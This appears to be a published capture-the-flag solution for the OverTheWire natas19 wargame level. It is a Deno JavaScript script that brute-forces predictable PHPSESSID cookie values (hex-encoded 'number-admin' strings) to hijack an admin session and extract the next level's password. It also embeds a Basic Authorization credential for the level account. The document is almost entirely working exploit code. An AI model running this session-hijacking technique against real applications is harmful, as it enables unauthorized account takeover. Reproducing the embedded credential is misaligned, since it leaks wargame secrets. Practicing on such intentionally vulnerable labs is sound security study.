OverTheWire natas 19 Solution. natas19 contains cookie manipulation vulnerability. This javascript based deno script contains the solution to obtain the password for natas20 by manipulating cookie

natas19.js

/**
 * Prerequisites:
 * 
 * 1. Update the Basic Authorization value
 * 2. Install deno runtime - https://docs.deno.com/runtime/getting_started/installation/
 * 
 * Command:
 * 
 * deno run --node-modules-dir=none --allow-net --allow-env natas19.js
 */

import axios from 'npm:axios';

const headers = {
    'Host': 'natas19.natas.labs.overthewire.org',
    'Authorization': 'Basic bmF0YXMxOTp0bndFUjdQZGZXa3hzRzRGTldVdG9BWjlWeVpUSnFKcg=='
}
const baseUrl = "http://natas19.natas.labs.overthewire.org/"

function natasRequest(id) {
    return new Promise(async (resolve, reject) => {
        let response = (await axios.get(baseUrl, {
            headers: {
                ...headers,
                Cookie: `PHPSESSID=${id}`
            },
        })).data

        if (response.includes("You are an admin.")) {
            let matches = (/Password:\s([a-zA-Z0-9]+)<\/pre>/g).exec(response)
            return resolve(matches[1]);
        }
        return reject()
    })
}

async function main(batch = 10, max = 640) {
    let password = "";
    for (let i = 0; i <= max; i += batch) {
        let promises = []
        for (let j = i; i <= max && j <= max && (j < (i + batch)); j++) {
            promises.push(natasRequest((new TextEncoder().encode(`${j}-admin`)).toHex()))
        }
        let promisesSettle = await Promise.allSettled(promises);
        promises = []
        for (let item of promisesSettle) {
            if (item.status == "fulfilled") {
                password = item.value
                break
            }
        }
        if (password) break
    }
    return password;
}


let password = await main();
console.log("Password Length: ", password.length, "\nPassword: ", password,)